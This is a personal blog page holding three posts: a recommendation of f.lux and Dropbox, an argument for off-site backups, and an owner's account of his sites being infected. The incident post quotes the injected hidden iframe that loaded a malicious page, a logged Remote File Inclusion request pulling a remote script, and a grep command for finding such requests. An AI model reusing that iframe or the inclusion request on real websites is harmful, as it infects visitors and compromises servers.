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thoughts and thinkings by azhar chougle 
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March 23, 2009

Flux and Dropbox

I've returned to two pieces of software I thought I'd share, because one requires some convincing for people to hop on.


This would be f.lux ; right from the page :

Ever notice how people texting at night have that eerie blue glow?

Or wake up ready to write down the Next Great Idea, and get blinded by your computer screen?

During the day, computer screens look good—they're designed to look like the sun. But, at 9PM, 10PM, or 3AM, you probably shouldn't be looking at the sun.

F.lux fixes this: it makes the color of your computer's display adapt to the time of day, warm at night and like sunlight during the day.

It's even possible that you're staying up too late because of your computer. You could use f.lux because it makes you sleep better, or you could just use it just because it makes your computer look better.

Let me tell you it works. Being someone who spends too much time in front of screens (from iPhone to iPod to Mac) - the difference after just an hour of usage was noticeable. I think it also helped me sleep better (the last two days I've used it). I spend less time staring at the ceiling it seems (this is different from having an outrageous sleep pattern mind you). Eye strain reduced too. And for color sensitive work (photography, you know) you can temporarily disable it.

So try it out, see if it works for you.

The second one I came back to was dropbox. 

I'm a storage geek, so trust me on this one. I have my personal drop.io and box.net premium accounts and I use them quite regularly (intensively when I do) but it always bugged me to have to open up Safari to upload. Dropbox is drag-drop-forget, once you put it in there, its gone, and when I head down to the labs I know it is, just log on, it will zip it up and there's the download. Its worth having it running in the background just for this convenience.

Dropbox shines when you have multiple computers. Which I don't, but you might.

So, just some random things. A lot of things are happening. And I'm quite the busy fellow. And these are two of the things helping me chug along sanely.

Azhar Chougle | www.azharc.com




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February 8, 2009

Back the f*ck up

I just got called a moron by @Vyder for being obsessive about backing up my data. When really, I'm just someone who considers their data irreplaceable, and take every measure to ensure against its loss. Some people think I go too far, but I'll explain briefly why its far from crazy to have several backup strategies in place.

Here, I'm assuming that your data is actually important. Being a photographer, designer, and avid music aficionado, if I lose my data, I really don't know what I'll do. But, I know what I'm doing to make sure that can never happen.

One misconception is that backing up to an external hard drive is all you need. Wrong. Sure, thats a great start, but sorry, one external hard drive, it will save you, for the most part, but you're not totally safe. There are several ways you can lose all your data, even if you have it backed up on an external hard drive (This is assuming your computer is mirrored exactly on your drive. Never leave any data on your external which isn't mirrored on another drive. Thats just stupid) :

 

  1. The drive gets stolen along with the laptop/computer (Easy. Especially if you have a portable drive.)
  2. The drive fails (Oh, hi there, drives fail. All the time. I mean, all - the - time. Drives are built with a life expectancy. The manufacturer knows its eventually going to fail. You should too.)
  3. Fire/water damage, natural disasters that aren't preventable, if your laptop is in your room, and your drive too, schabhang ouchie gone.
  4. Electricity fluctuation. Drives connected to a power source can fry during lightning strikes, just like anything else (even with a spike guard, mind you)
  5. And several other far-out-of-this-world things that you think can never happen to you, until it does.
(Side note : I highly recommend SuperDuper! for a neat exact-copy bootable clone of your computer)

What I'm getting at is you need a secure off-site backup which absolutely can't fail you. You could keep your external drive somewhere else. Fine. Its painful, you won't update it regularly, and that 'somewhere else' is prone to all the same things it would have been if it was with you anyways. You might want to encrypt the drives (computer + external) if you have extremely sensitive information. Filevault for Mac (built in) and TrueCrypt for Windows. Personally I don't bother with the encryption because it slows things down and isn't really necessary in my eyes.

This is why I shell out $5/month for an online automatic off-site secure unlimited backup. Currently, I'm with Mozy Backblaze, but there are several other great services like Mozy (which you should never use because they're one of the worst companies I've had to deal with in my lifetime - they suck, period) and Carbonite. Its pretty much the last thing you have to do to insure your data. Everything is encrypted, sent across to them, and stored securely in their data centers. Mozy's datacenters are protected against earthquakes, even.

Not only is it your fail-safe backup, but now your data is accessible anywhere. You have access to your entire computer anywhere you have an internet connection. So if something does fail while traveling, you still can get your data back without much of a fuss.

Furthermore, accidental file deletion, covered. It has happened to me, where I've actually mistakenly gotten rid of quite important files and folders accidentally. Most of the backup services I mentioned (Mozy I know for sure) will keep a backed up file for 30 days after you delete it from your computer. So you can retrieve it pretty much instantly, anywhere you are. These services also back up external drives, so you can use your external as additional storage instead of a dedicated backup drive.

There are a ton of benefits to online off-site backup, and as you can see I'm a strong advocate of them. Its quite unfortunate when I hear of people (even fellow photographers here) who drop their external drives (somehow, strange) and lose all of their data because they don't mirror it or back it up elsewhere (again, don't leave standalone un-mirrored data on external drives). 

People don't take backing up seriously enough and most of them will end up paying for it one way or the other, eventually. Put yourself in that situation - all your music, gone. Photos, gone. Games, applications, documents, college work, all gone, and what do you know, the external drive is dead.

 

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February 3, 2009

What just happened?

I woke up today to a complete nightmare. All of my websites were 'infected'. They were tagged by Google as malicious (and they were right this time). I had no idea what was going on. Google said the usual, this site may harm your computer etc. and then referred to all my sites as this domain 'litetopfindworld.cn'

Of course my first reaction was to blame my host, Media Temple, and assume I'd been hacked or something of the sort. 

After sending a few angry messages to them (sorry about that), seems they had nothing to do with it. Essentially, it was my fault (sorry again). Of course, I had no idea what the source was, what it was doing, or how to rectify it.

Note this is at 10AM, and I have a class at noon, so I was pretty tense.

Eventually I find this : http://google.com/safebrowsing/diagnostic?tpl=safari&site=litetopfindworld.cn&hl=en-us which unfortunately means that anyone who visited any of the sites hosted on my server may have been infected with up to 212 trojans (I say *may* because I can't be sure - read further down the page I just linked to). Please run Ad-Aware or something of the sort. I sincerely apologize for this, but as you will find out it isn't completely my fault (but you can blame me anyways). Again, any anti-spyware program should do it. If you had an anti-virus running in the background, you should be alright, but do scan anyways. Mac users, you're fine, but if you're concerned go ahead and run MacScan.

So it seems this malicious code (do not visit the site below) :

<iframe src="http://litetopfindworld.cn/in.cgi?cocacola32" width=1 height=1 style="visibility: hidden"></iframe>

Was being added next to the <body> tag on all my pages. Essentially it was secretly loading a malicious webpage, which you wouldn't know of, unless you looked at the code, or Google stopped you (if you are logged in to your Google account while browsing, it automatically does, by default)

I managed to remove the line of code from all my sites manually. However, it kept reappearing on my blog. 

At which point Media Temple's support staff asked me to SSH in and use this command to search for scripts that may have been infiltrated, using a method called Remote File Inclusion.

grep "?*=http://" ../../logs/access_log*| awk '/Jan/ && /libww/ && $9 !~/^4/'

Which returned :

../../logs/access_log-2009-01-30-12.processed:72.47.202.35 - - [30/Jan/2009:12:17:41 -0800] "GET /thedailysunrise.com/?_SERVER[DOCUMENT_ROOT]=http://www.aerothaiunion.com/sik.txt? HTTP/1.1" 200 37091 "-" "libwww-perl/5.79"

... and I didn't really know what it means. So I asked, turns out the source was my index.php file on thedailysunrise.com. There are two scripts on that page which could have been targeted for such an attack. One was Text-Link-Ads and the other was my Stats tracking, which was done by SlimStat. 

If it was TLA, I would have received an e-mail to update my code. Thousands of people use it, and a vulnerability would spread fast and someone would say something. So it had to be SlimStat. I'm not exactly sure how it all worked, but the line of code that was on all my pages, to include SlimStat's function, was compromised, and injecting that line of code on all my pages, rendering all my websites dangerous.

So I got rid of SlimStat.

And now everything seems to be fine. Again, sorry to everyone affected, and Media Temple, for doubting them (again).

Time to ante my SSH skills.

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